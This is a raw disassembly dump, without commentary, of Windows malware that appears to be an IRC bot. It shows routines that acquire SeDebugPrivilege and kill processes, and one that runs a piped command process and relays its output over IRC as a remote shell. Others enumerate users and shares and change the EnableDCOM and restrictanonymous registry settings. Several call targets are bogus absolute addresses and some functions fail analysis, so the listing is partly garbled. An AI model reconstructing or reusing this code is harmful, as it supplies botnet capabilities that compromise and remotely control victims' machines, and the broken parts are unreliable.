mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41940E
push edi
call dword_4CB6E4
xor edi, edi
mov [ebp+var_4], edi
loc_41940E: ; CODE XREF: sub_4192E0+A5j
; sub_4192E0+120j
cmp [ebp+var_C], 0EAh
jz loc_41931F
cmp edi, esi
jz short loc_419426
push edi
call dword_4CB6E4
loc_419426: ; CODE XREF: sub_4192E0+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4192E0 endp
; =============== S U B R O U T I N E =======================================
sub_419460 proc near ; CODE XREF: sub_418A99+41p
; sub_418C8F+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419512
jz loc_41950B
cmp eax, 7Bh
ja short loc_4194D7
jz short loc_4194CD
cmp eax, 5
jz short loc_4194C3
cmp eax, 8
jz short loc_4194B9
cmp eax, 32h
jz short loc_4194AF
cmp eax, 35h
jz short loc_4194A5
cmp eax, 57h
jnz loc_419561
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194A5: ; CODE XREF: sub_419460+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194AF: ; CODE XREF: sub_419460+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194B9: ; CODE XREF: sub_419460+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194C3: ; CODE XREF: sub_419460+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194CD: ; CODE XREF: sub_419460+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194D7: ; CODE XREF: sub_419460+1Aj
sub eax, 7Ch
jz short loc_419504
sub eax, 7C8h
jz short loc_4194FD
dec eax
jz short loc_4194F3
dec eax
jnz short loc_419561
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194F3: ; CODE XREF: sub_419460+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419582
; ---------------------------------------------------------------------------
loc_4194FD: ; CODE XREF: sub_419460+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419504: ; CODE XREF: sub_419460+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41950B: ; CODE XREF: sub_419460+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419512: ; CODE XREF: sub_419460+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41954B
jz short loc_419544
sub eax, 8ADh
jz short loc_419576
dec eax
dec eax
jz short loc_41953D
dec eax
jz short loc_419536
dec eax
dec eax
jnz short loc_419561
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419536: ; CODE XREF: sub_419460+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41953D: ; CODE XREF: sub_419460+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419544: ; CODE XREF: sub_419460+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41954B: ; CODE XREF: sub_419460+B9j
sub eax, 8CAh
jz short loc_41957D
sub eax, 17h
jz short loc_419576
sub eax, 25h
jz short loc_41956F
sub eax, 29h
jz short loc_419568
loc_419561: ; CODE XREF: sub_419460+35j
; sub_419460+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419568: ; CODE XREF: sub_419460+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41956F: ; CODE XREF: sub_419460+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419576: ; CODE XREF: sub_419460+C2j
; sub_419460+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_41957D: ; CODE XREF: sub_419460+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419582: ; CODE XREF: sub_419460+40j
; sub_419460+4Aj ...
push offset dword_4DB270
call sub_41B886
pop ecx
mov eax, offset dword_4DB270
pop ecx
retn
sub_419460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419594 proc near ; CODE XREF: sub_401ACD+4782p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41D834
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26C0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41D834
lea eax, [ebp+var_718]
push eax
call sub_41D817
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB664
test eax, eax
jnz short loc_419624
mov esi, offset dword_4DB06C
push offset unk_439D84
push esi
call sub_41B886
pop ecx
pop ecx
jmp short loc_41964D
; ---------------------------------------------------------------------------
loc_419624: ; CODE XREF: sub_419594+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_419460
pop ecx
mov esi, offset dword_4DB06C
push eax
push offset dword_439D58
push esi
call sub_41B886
add esp, 14h
loc_41964D: ; CODE XREF: sub_419594+8Ej
mov eax, esi
pop esi
leave
retn
sub_419594 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419652 proc near ; CODE XREF: sub_416F1B+45p
; sub_416F1B+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 271066Fh
push eax
call dword_4CB638
test eax, eax
jnz short loc_419671
leave
retn
; ---------------------------------------------------------------------------
loc_419671: ; CODE XREF: sub_419652+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB610
test eax, eax
jz short loc_4196AF
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419698
or [ebp+var_8], 2
jmp short loc_41969C
; ---------------------------------------------------------------------------
loc_419698: ; CODE XREF: sub_419652+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41969C: ; CODE XREF: sub_419652+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CB6C0
mov esi, eax
loc_4196AF: ; CODE XREF: sub_419652+32j
push [ebp+var_4]
call near ptr 2660919h
nop
mov eax, esi
pop esi
leave
retn
sub_419652 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196BD proc near ; CODE XREF: sub_401ACD+7916p
; sub_4198EC+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB674, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4198BC
cmp dword_4CB658, ebx
jz loc_4198BC
cmp dword_4CB568, ebx
jz loc_4198BC
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB674
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4198AF
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB658
mov esi, dword_427068
test eax, eax
jz loc_4198AA
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB568
test eax, eax
jz loc_4198AA
mov edi, dword_427084
mov ebx, 1F0FFFh
loc_419781: ; CODE XREF: sub_4196BD+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4197E8
mov [ebp+var_4], offset off_439DB0
loc_41978F: ; CODE XREF: sub_4196BD+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 2820000h
test eax, eax
jz short loc_4197B7
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_439E10
jb short loc_41978F
jmp loc_419890
; ---------------------------------------------------------------------------
loc_4197B7: ; CODE XREF: sub_4196BD+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_419890
push 0
push eax
call near ptr 2700D13h
nop
test eax, eax
jnz loc_419890
loc_4197DE: ; CODE XREF: sub_4196BD+1B9j
push [ebp+var_4]
call esi
jmp loc_419890
; ---------------------------------------------------------------------------
loc_4197E8: ; CODE XREF: sub_4196BD+C9j
cmp [ebp+arg_C], eax
jnz loc_41987B
cmp [ebp+arg_4], eax
jz loc_419890
push [ebp+var_128]
push 8
call dword_4CB674
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41983B
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB514
push [ebp+var_128]
test eax, eax
jz short loc_419841
lea eax, [ebp+var_234]
jmp short loc_419847
; ---------------------------------------------------------------------------
loc_41983B: ; CODE XREF: sub_4196BD+15Cj
push [ebp+var_128]
loc_419841: ; CODE XREF: sub_4196BD+174j
lea eax, [ebp+var_10C]
loc_419847: ; CODE XREF: sub_4196BD+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
jmp loc_4197DE
; ---------------------------------------------------------------------------
loc_41987B: ; CODE XREF: sub_4196BD+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4198C3
loc_419890: ; CODE XREF: sub_4196BD+F5j
; sub_4196BD+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB568
test eax, eax
jnz loc_419781
xor ebx, ebx
loc_4198AA: ; CODE XREF: sub_4196BD+9Dj
; sub_4196BD+B3j
push [ebp+var_8]
call esi
loc_4198AF: ; CODE XREF: sub_4196BD+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
loc_4198BC: ; CODE XREF: sub_4196BD+3Aj
; sub_4196BD+46j ...
xor eax, eax
loc_4198BE: ; CODE XREF: sub_4196BD+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4198C3: ; CODE XREF: sub_4196BD+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call near ptr 2700D13h
nop
test eax, eax
jnz short loc_4198E7
push edi
call esi
jmp short loc_4198BC
; ---------------------------------------------------------------------------
loc_4198E7: ; CODE XREF: sub_4196BD+223j
push 1
pop eax
jmp short loc_4198BE
sub_4196BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198EC proc near ; DATA XREF: sub_401ACD+26CEo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_439FB0
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41994B
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A73
add esp, 14h
loc_41994B: ; CODE XREF: sub_4198EC+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4196BD
add esp, 18h
test eax, eax
jnz short loc_419973
push offset unk_439F8C
jmp short loc_419978
; ---------------------------------------------------------------------------
loc_419973: ; CODE XREF: sub_4198EC+7Ej
push offset unk_439F68
loc_419978: ; CODE XREF: sub_4198EC+85j
lea eax, [ebp+var_298]
push eax
call sub_41B886
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4199AB
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A73
add esp, 14h
loc_4199AB: ; CODE XREF: sub_4198EC+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4151AD
push [ebp+var_14]
call sub_40B413
pop ecx
pop ecx
push esi
call near ptr 26E0000h
nop
pop edi
pop esi
sub_4198EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4199CA proc near ; CODE XREF: sub_401ACD+78B4p
; sub_40B232+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 26803B1h
nop
mov esi, eax
test esi, esi
jz short loc_4199FC
push 0
push esi
nop
call near ptr 2700D13h
test eax, eax
jnz short loc_4199FC
push esi
xor edi, edi
nop
call near ptr 2660919h
loc_4199FC: ; CODE XREF: sub_4199CA+1Aj
; sub_4199CA+27j
mov eax, edi
pop edi
pop esi
retn
sub_4199CA endp
; ---------------------------------------------------------------------------
byte_419A01 db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo
dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
dd 0E1E89000h, 0EB022665h
db 0E3h
; =============== S U B R O U T I N E =======================================
sub_419A21 proc near ; CODE XREF: sub_419A51+2Ap
; sub_419A89+7Ep ...
mov eax, dword_4DB8D8
push esi
mov esi, dword_427068
cmp eax, 0FFFFFFFFh
jz short loc_419A35
push eax
call esi
loc_419A35: ; CODE XREF: sub_419A21+Fj
mov eax, dword_4DB8E0
cmp eax, 0FFFFFFFFh
jz short loc_419A42
push eax
call esi
loc_419A42: ; CODE XREF: sub_419A21+1Cj
mov eax, dword_4DB8D4
cmp eax, 0FFFFFFFFh
jz short loc_419A4F
push eax
call esi
loc_419A4F: ; CODE XREF: sub_419A21+29j
pop esi
retn
sub_419A21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A51 proc near ; CODE XREF: sub_401ACD+7605p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41AFE0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DB8DC
call near ptr 26F0000h
nop
test eax, eax
jnz short loc_419A84
call sub_419A21
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419A84: ; CODE XREF: sub_419A51+28j
push 1
pop eax
leave
retn
sub_419A51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A89 proc near ; CODE XREF: sub_419B10+D3p
; sub_419B10+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_43D808
push [ebp+arg_4]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_419ACC
push 7D0h
nop
call near ptr 2680000h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41B886
add esp, 10h
jmp short loc_419AE3
; ---------------------------------------------------------------------------
loc_419ACC: ; CODE XREF: sub_419A89+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41B886
add esp, 0Ch
loc_419AE3: ; CODE XREF: sub_419A89+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB6A4
test eax, eax
jg short loc_419B0C
call sub_419A21
loc_419B0C: ; CODE XREF: sub_419A89+7Cj
xor eax, eax
leave
retn
sub_419A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B10 proc near ; DATA XREF: sub_419C65+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DB8E4
loc_419B28: ; CODE XREF: sub_419B10+79j
; sub_419B10+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DB8D8
nop
call near ptr 282086Bh
test eax, eax
jz loc_419BF6
cmp [ebp+var_4], edi
jnz short loc_419B8B
lea eax, [ebp+var_8]
push eax
push dword_4DB8D4
nop
call near ptr 2820451h
test eax, eax
jz short loc_419B81
cmp [ebp+var_8], 103h
jnz loc_419C1A
loc_419B81: ; CODE XREF: sub_419B10+62j
push 0Ah
nop
call near ptr 2680000h
jmp short loc_419B28
; ---------------------------------------------------------------------------
loc_419B8B: ; CODE XREF: sub_419B10+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_419BA2
loc_419B92: ; CODE XREF: sub_419B10+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_419BF0
inc eax
cmp eax, [ebp+var_4]
jb short loc_419B92
loc_419BA2: ; CODE XREF: sub_419B10+80j
mov [ebp+var_4], esi
loc_419BA5: ; CODE XREF: sub_419B10+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DB8D8
nop
call near ptr 2700000h
test eax, eax
jz short loc_419C42
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DB918
call sub_419A89
add esp, 0Ch
jmp loc_419B28
; ---------------------------------------------------------------------------
loc_419BF0: ; CODE XREF: sub_419B10+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_419BA5
; ---------------------------------------------------------------------------
loc_419BF6: ; CODE XREF: sub_419B10+45j
push offset unk_43A038
push ebx
push dword_4DB918
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push 1
call near ptr 26E0000h
nop
loc_419C1A: ; CODE XREF: sub_419B10+6Bj
call sub_419A21
push offset unk_43A010
push ebx
push dword_4DB918
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push edi
nop
call near ptr 26E0000h
loc_419C42: ; CODE XREF: sub_419B10+C3j
push offset unk_439FE0
push ebx
push dword_4DB918
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push edi
nop
call near ptr 26E0000h
sub_419B10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C65 proc near ; CODE XREF: sub_401ACD+2508p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419A21
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_433C04
push esi
call dword_4CB710
test eax, eax
jz loc_419D5F
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_4270FC
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_419D5F
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_419D5F
mov edi, dword_4270F8
push 3
push esi
push esi
push offset dword_4DB8DC
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 2710000h
test eax, eax
jz short loc_419D5F
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41B590
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset dword_43D808
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 2660C3Bh
nop
test eax, eax
jnz short loc_419D67
loc_419D5F: ; CODE XREF: sub_419C65+2Fj
; sub_419C65+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_419E15
; ---------------------------------------------------------------------------
loc_419D67: ; CODE XREF: sub_419C65+F8j
push [ebp+var_4]
mov edi, dword_427068
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DB8D8, eax
mov eax, [ebp+var_8]
mov dword_4DB8E0, eax
mov eax, [ebp+var_2C]
mov dword_4DB8D4, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DB918, eax
jz short loc_419DA1
push [ebp+arg_4]
jmp short loc_419DA2
; ---------------------------------------------------------------------------
loc_419DA1: ; CODE XREF: sub_419C65+135j
push ebx
loc_419DA2: ; CODE XREF: sub_419C65+13Aj
push offset dword_4DB8E4
call sub_41B886
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A09C
call sub_40B0F7
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E598[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419B10
push esi
push esi
call near ptr 2680098h
nop
cmp eax, esi
mov dword_43E5A4[edi], eax
jnz short loc_419E13
call near ptr 2680ABEh
nop
push eax
lea eax, [ebp+var_378]
push offset unk_43A068
push eax
call sub_41B886
lea eax, [ebp+var_378]
push eax
call sub_4151AD
add esp, 10h
loc_419E13: ; CODE XREF: sub_419C65+185j
xor eax, eax
loc_419E15: ; CODE XREF: sub_419C65+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_419C65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E1A proc near ; DATA XREF: sub_401ACD+2E0Co
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_419E61
call sub_419E7A
jmp short loc_419E66
; ---------------------------------------------------------------------------
loc_419E61: ; CODE XREF: sub_419E1A+3Ej
call sub_41A19E
loc_419E66: ; CODE XREF: sub_419E1A+45j
add esp, 10h
push [ebp+var_14]
call sub_40B413
pop ecx
push 0
nop
call near ptr 26E0000h
sub_419E1A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E7A proc near ; CODE XREF: sub_419E1A+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CB724, edi
jnz loc_419FAC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_419F05
mov ax, word_438E18
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB678
test eax, eax
jz short loc_419EE7
push offset dword_43A338
jmp short loc_419EEC
; ---------------------------------------------------------------------------
loc_419EE7: ; CODE XREF: sub_419E7A+64j
push offset dword_43A318
loc_419EEC: ; CODE XREF: sub_419E7A+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_419F18
; ---------------------------------------------------------------------------
loc_419F05: ; CODE XREF: sub_419E7A+36j
lea eax, [ebp+var_214]
push offset dword_43A2E8
push eax
call sub_41B886
pop ecx
pop ecx
loc_419F18: ; CODE XREF: sub_419E7A+89j
cmp [ebp+arg_C], edi
jnz short loc_419F37
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_419F37: ; CODE XREF: sub_419E7A+A1j
lea eax, [ebp+var_214]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB6C4
test eax, eax
jnz short loc_419FA5
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB678
test eax, eax
jz short loc_419F87
push offset dword_43A298
jmp short loc_419F8C
; ---------------------------------------------------------------------------
loc_419F87: ; CODE XREF: sub_419E7A+104j
push offset dword_43A264
loc_419F8C: ; CODE XREF: sub_419E7A+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630
jmp short loc_419FBF
; ---------------------------------------------------------------------------
loc_419FA5: ; CODE XREF: sub_419E7A+E2j
push offset dword_43A228
jmp short loc_419FB1
; ---------------------------------------------------------------------------
loc_419FAC: ; CODE XREF: sub_419E7A+13j
push offset dword_43A1F8
loc_419FB1: ; CODE XREF: sub_419E7A+130j
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
loc_419FBF: ; CODE XREF: sub_419E7A+129j
cmp [ebp+arg_C], edi
jnz short loc_419FDE
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_419FDE: ; CODE XREF: sub_419E7A+148j
lea eax, [ebp+var_214]
push eax
call sub_4151AD
cmp dword_4CB74C, edi
pop ecx
jnz loc_41A159
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A001: ; CODE XREF: sub_419E7A+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB598
cmp eax, edi
mov [ebp+var_10], eax
